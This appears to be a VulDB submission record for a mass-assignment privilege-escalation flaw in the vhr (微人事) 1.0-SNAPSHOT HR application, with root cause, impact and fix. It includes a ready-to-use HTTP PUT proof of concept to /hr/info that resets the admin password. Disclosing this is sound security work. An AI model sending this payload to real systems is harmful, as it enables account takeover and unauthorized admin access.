| 标题 | lenve vhr 1.0-SNAPSHOT Improper Input Validation |
|---|
| 描述 | vhr(微人事) — Mass Assignment Privilege Escalation via PUT /hr/info (VHR-VULN-001)
Product: vhr(微人事) 1.0-SNAPSHOT
CWE: CWE-915 / CWE-269
Classification: Improper Input Validation
=== ROOT CAUSE ===
`HrInfoController.updateHr()` binds request JSON to `Hr` without ownership check. `HrMapper.xml` updates `password` when present.
=== REPRODUCTION ===
Low-privilege user `libai` can PUT `/hr/info` with another user's `id` and set `password` to a self-generated BCrypt hash, resetting admin credentials.
PoC:
PUT /hr/info HTTP/1.1
Host: TARGET
Content-Type: application/json
Cookie: JSESSIONID=SESSION_LIBAI
Connection: close
{"id":3,"password":"$2a$10$BCryptHashHere","enabled":true,"username":"admin"}
Expected: {"status":200,"msg":"更新成功!"} — then admin login with new password
=== IMPACT ===
Vertical privilege escalation to ROLE_admin without prior admin access.
=== FIX ===
Bind updates to session user id; forbid password/username/enabled via this endpoint.
|
|---|
| 来源 | ⚠️ https://github.com/ArrestX/vhr-advisories/blob/main/advisories/VHR-VULN-001-mass-assignment-privesc.md |
|---|
| 用户 | Anonymous User |
|---|
| 提交 | 2026-07-16 13時54分 (2 月前) |
|---|
| 管理 | 2026-09-12 10時24分 (2 months later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 403089 [lenve vhr 1.0-SNAPSHOT HrMapper.xml HrInfoController.updateHr 密码 权限提升] |
|---|
| 积分 | 20 |
|---|